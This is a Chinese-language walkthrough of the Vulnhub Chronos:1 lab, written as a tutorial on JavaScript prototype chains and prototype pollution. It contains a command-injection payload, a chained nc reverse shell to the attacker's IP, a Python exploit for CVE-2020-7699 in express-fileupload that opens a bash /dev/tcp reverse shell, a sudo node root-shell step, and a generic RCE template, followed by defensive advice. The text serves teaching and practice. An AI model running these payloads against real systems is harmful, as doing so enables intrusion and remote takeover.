Vulnhub打靶 - JavaScript基于原型编程思路与原型链污染原理
字数 2064 2025-08-11 22:57:21

JavaScript原型链污染漏洞原理与实战利用

1. 靶机渗透过程分析

1.1 环境信息

  • 靶机: Chronos:1 (IP: 10.21.193.155)
  • 攻击机: Kali Linux (IP: 10.21.204.212)
  • 难度: Medium

1.2 信息收集阶段

  1. 主机发现:

    • 使用netdiscover -r 10.21.0.0/16扫描网络
    • 通过VirtualBox特有标识"PCS Systemtechnik GmbH"识别靶机
  2. 端口扫描:

    • nmap -p- 10.21.193.155发现开放端口: 22(SSH), 80(HTTP), 8000(HTTP)
    • 服务识别:
      • 80端口: Apache httpd 2.4.29
      • 8000端口: Node.js Express框架

1.3 Web应用分析

  1. 80端口网站分析:

    • 查看网页源码发现编码的JavaScript代码
    • 使用CyberChef工具解码后发现URL: chronos.local:8000
    • /etc/hosts中添加映射: 10.21.193.155 chronos.local
  2. Burp Suite抓包分析:

    • 发现网站通过GET请求获取时间信息
    • 请求格式: GET /date?format=<base58编码字符串>

1.4 命令注入漏洞利用

  1. 参数分析:

    • 发现format参数使用base58编码
    • 解码后内容: '+Today is %A, %B %d, %Y %H:%M:%S.'
    • 怀疑后端直接调用系统date命令
  2. 注入测试:

    • 编码&& ls发送请求,成功执行命令
    • 确认存在命令注入漏洞
  3. 反弹Shell:

    • 使用串联nc方式反弹shell:
      && nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555
      

1.5 权限提升

  1. 信息收集:

    • 发现用户imera,但无法直接读取其文件
    • 检查/opt/chronos目录下的Node.js应用代码
  2. 代码审计:

    • app.js中存在未过滤的命令拼接:
      const format = req.query.format;
      const bytes = bs58.decode(format);
      var decoded = bytes.toString();
      var concat = cmd.concat(decoded);
      exec(concat, (error, stdout, stderr) => {...});
      
  3. 发现第二个应用:

    • /opt/chronos-v2目录下的Node.js应用
    • 使用express-fileupload模块(版本1.1.7-alpha.3)
    • 配置了parseNested: true
  4. 原型链污染利用:

    • 使用Python脚本触发原型链污染漏洞:
      import requests
      cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"'
      requests.post('http://127.0.0.1:8080', files = {
          '__proto__.outputFunctionName': (
              None, 
              f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x"
          )
      })
      requests.get('http://127.0.0.1:8080')
      
  5. 最终提权:

    • 发现sudo -l显示可以无密码以root运行node
    • 使用node反弹root shell:
      sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
      

2. JavaScript原型链原理

2.1 基于原型的编程

  • JavaScript使用基于原型的面向对象编程
  • 没有明确的类概念(ES6的class是语法糖)
  • 对象通过原型属性直接从其他对象继承

2.2 原型与构造函数

  1. 构造函数定义类:

    function Person() {
        this.age = 18
    }
    
  2. 原型方法:

    Person.prototype.say = function() {
        console.log(this.age)
    }
    
  3. 实例化与调用:

    let Sam = new Person()
    Sam.say() // 输出18
    

2.3 原型链相关属性

  1. prototype属性:

    • 函数的属性(构造函数)
    • 包含所有实例共享的属性和方法
  2. __proto__属性:

    • 实例对象的属性
    • 指向构造函数的prototype
    • Sam.__proto__ === Person.prototype为true

2.4 原型链继承

function Animal() {
    this.eat = 'meat'
    this.age = 100
}

function Person() {
    this.age = 18
}

Person.prototype = new Animal()
let Sam = new Person()
console.log(`${Sam.eat} ${Sam.age}`) // 输出"meat 18"

2.5 原型链查找机制

  1. 访问对象属性时:

    • 先在对象自身查找
    • 找不到则通过__proto__查找原型对象
    • 继续向上直到Object.prototype(原型链顶端)
  2. 原型链图示:

    Sam -> Person.prototype -> Animal.prototype -> Object.prototype -> null
    

3. 原型链污染原理

3.1 基本概念

  • 通过修改原型对象的属性影响所有继承自该原型的对象
  • 主要针对Object.prototype的修改

3.2 简单示例

let foo = {bar: 1}
foo.__proto__.bar = 2  // 修改Object.prototype
let zoo = {}
console.log(zoo.bar)   // 输出2

3.3 漏洞触发条件

  1. 关键操作:

    • 对象属性的合并
    • 对象属性的克隆
    • 路径变量赋值
  2. 危险函数:

    • Object.assign
    • Object.merge
    • Object.clone

3.4 express-fileupload漏洞分析(CVE-2020-7699)

漏洞条件

  1. 使用express-fileupload模块(<1.1.8)
  2. 配置parseNested: true
  3. 使用EJS模板引擎

漏洞代码

app.use(fileupload({ parseNested: true }))

processNested函数分析

function processNested(data) {
    // 解析嵌套属性
    for (let i = 0; i < keys.length; i++) {
        let key = keys[i], 
            value = data[key],
            current = d,
            keyParts = key.split('.');
        
        for (let index = 0; index < keyParts.length; index++) {
            let k = keyParts[index];
            if (index >= keyParts.length - 1) {
                current[k] = value; // 关键赋值点
            } else {
                if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k];
            }
        }
    }
    return d;
}

漏洞利用方式

通过构造特殊的属性名污染原型链:

{
    "__proto__.polluted": true
}

4. 实战利用技巧

4.1 检测原型链污染

  1. 测试是否可污染:

    JSON.parse('{"__proto__.polluted": true}');
    console.log(polluted); // 如果输出true则存在漏洞
    
  2. 检查常见属性:

    console.log(({}).constructor.prototype.polluted)
    

4.2 利用方式

  1. 修改模板引擎:

    • 污染outputFunctionName执行代码
    __proto__.outputFunctionName = "x;console.log(1);process.mainModule.require('child_process').exec('whoami');x"
    
  2. 污染常用属性:

    __proto__.toString = "恶意代码"
    __proto__.valueOf = "恶意代码"
    
  3. RCE利用:

    import requests
    cmd = "恶意命令"
    requests.post(target, files={
        '__proto__.outputFunctionName': (
            None, 
            f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x"
        )
    })
    requests.get(target)  # 触发执行
    

4.3 防御措施

  1. 升级易受攻击的库(如express-fileupload)
  2. 避免使用parseNested: true
  3. 冻结Object.prototype:
    Object.freeze(Object.prototype)
    
  4. 使用Object.create(null)创建无原型对象
  5. 对用户输入进行严格过滤

5. 总结

JavaScript原型链污染是一种危险的漏洞类型,通过修改原型对象的属性可以影响整个应用程序的行为。在Node.js环境中,结合模板引擎等特性可能导致远程代码执行。防御此类漏洞需要开发者理解原型链机制,并采取适当的防护措施。

JavaScript原型链污染漏洞原理与实战利用 1. 靶机渗透过程分析 1.1 环境信息 靶机: Chronos:1 (IP: 10.21.193.155) 攻击机: Kali Linux (IP: 10.21.204.212) 难度: Medium 1.2 信息收集阶段 主机发现 : 使用 netdiscover -r 10.21.0.0/16 扫描网络 通过VirtualBox特有标识"PCS Systemtechnik GmbH"识别靶机 端口扫描 : nmap -p- 10.21.193.155 发现开放端口: 22(SSH), 80(HTTP), 8000(HTTP) 服务识别: 80端口: Apache httpd 2.4.29 8000端口: Node.js Express框架 1.3 Web应用分析 80端口网站分析 : 查看网页源码发现编码的JavaScript代码 使用CyberChef工具解码后发现URL: chronos.local:8000 在 /etc/hosts 中添加映射: 10.21.193.155 chronos.local Burp Suite抓包分析 : 发现网站通过GET请求获取时间信息 请求格式: GET /date?format=<base58编码字符串> 1.4 命令注入漏洞利用 参数分析 : 发现format参数使用base58编码 解码后内容: '+Today is %A, %B %d, %Y %H:%M:%S.' 怀疑后端直接调用系统 date 命令 注入测试 : 编码 && ls 发送请求,成功执行命令 确认存在命令注入漏洞 反弹Shell : 使用串联nc方式反弹shell: 1.5 权限提升 信息收集 : 发现用户 imera ,但无法直接读取其文件 检查 /opt/chronos 目录下的Node.js应用代码 代码审计 : app.js 中存在未过滤的命令拼接: 发现第二个应用 : /opt/chronos-v2 目录下的Node.js应用 使用 express-fileupload 模块(版本1.1.7-alpha.3) 配置了 parseNested: true 原型链污染利用 : 使用Python脚本触发原型链污染漏洞: 最终提权 : 发现 sudo -l 显示可以无密码以root运行node 使用node反弹root shell: 2. JavaScript原型链原理 2.1 基于原型的编程 JavaScript使用基于原型的面向对象编程 没有明确的类概念(ES6的class是语法糖) 对象通过原型属性直接从其他对象继承 2.2 原型与构造函数 构造函数定义类 : 原型方法 : 实例化与调用 : 2.3 原型链相关属性 prototype属性 : 函数的属性(构造函数) 包含所有实例共享的属性和方法 __ proto__ 属性 : 实例对象的属性 指向构造函数的prototype Sam.__proto__ === Person.prototype 为true 2.4 原型链继承 2.5 原型链查找机制 访问对象属性时: 先在对象自身查找 找不到则通过 __proto__ 查找原型对象 继续向上直到Object.prototype(原型链顶端) 原型链图示: 3. 原型链污染原理 3.1 基本概念 通过修改原型对象的属性影响所有继承自该原型的对象 主要针对Object.prototype的修改 3.2 简单示例 3.3 漏洞触发条件 关键操作 : 对象属性的合并 对象属性的克隆 路径变量赋值 危险函数 : Object.assign Object.merge Object.clone 3.4 express-fileupload漏洞分析(CVE-2020-7699) 漏洞条件 使用express-fileupload模块( <1.1.8) 配置 parseNested: true 使用EJS模板引擎 漏洞代码 processNested函数分析 漏洞利用方式 通过构造特殊的属性名污染原型链: 4. 实战利用技巧 4.1 检测原型链污染 测试是否可污染: 检查常见属性: 4.2 利用方式 修改模板引擎 : 污染 outputFunctionName 执行代码 污染常用属性 : RCE利用 : 4.3 防御措施 升级易受攻击的库(如express-fileupload) 避免使用 parseNested: true 冻结Object.prototype: 使用 Object.create(null) 创建无原型对象 对用户输入进行严格过滤 5. 总结 JavaScript原型链污染是一种危险的漏洞类型,通过修改原型对象的属性可以影响整个应用程序的行为。在Node.js环境中,结合模板引擎等特性可能导致远程代码执行。防御此类漏洞需要开发者理解原型链机制,并采取适当的防护措施。